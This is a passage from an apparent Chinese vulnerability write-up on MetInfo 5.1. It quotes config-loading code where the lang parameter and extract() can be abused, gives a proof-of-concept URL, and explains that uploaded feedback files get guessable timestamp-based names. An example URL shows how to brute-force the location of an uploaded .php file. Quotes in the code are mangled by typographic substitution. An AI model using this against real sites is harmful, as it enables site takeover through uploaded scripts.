**config/config.inc.php**
```php
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang=‘$lang‘");

if(!$langoks)die(‘No data in the database,please reinstall.‘);

if(!$langoks[useok]&&!$metinfoadminok)okinfo(‘../404.html‘);

if(count($met_langok)==1)$lang=$met_index_type;

$query = "SELECT * FROM $met_config WHERE lang=‘$lang‘ or lang=‘metinfo‘";//看这里

$result = $db->query($query);

while($list_config= $db->fetch_array($result)){

    if($metinfoadminok)$list_config[‘value‘]=str_replace(‘"‘, ‘"‘, str_replace("‘", ‘'‘,$list_config[‘value‘]));

    $settings_arr[]=$list_config;

    if($list_config[‘columnid‘]){

        $settings[$list_config[‘name‘].‘_‘.$list_config[‘columnid‘]]=$list_config[‘value‘];

    }else{

        $settings[$list_config[‘name‘]]=$list_config[‘value‘];

    }

}

@extract($settings);
```

访问

http:///localhost/metinfo5.1/index.php?lang=metinfo

`SELECT * FROM met_config WHERE lang=‘metinfo‘ or lang=‘metinfo‘`

----------
## 文件命名方式：
----------
**/feedback/uploadfile_save.php**
```php
srand((double)microtime() * 1000000);

$rnd = rand(100, 999);

$name = date(‘U‘) + $rnd;

$name = $name.".".$ext;

```
**文件保存在/upload/file/目录**

命名方式就是时间戳去掉后三位，紧接着一个三位数的随机数

可爆破：

如

http://127.0.0.1/upload/file/1465394396.php
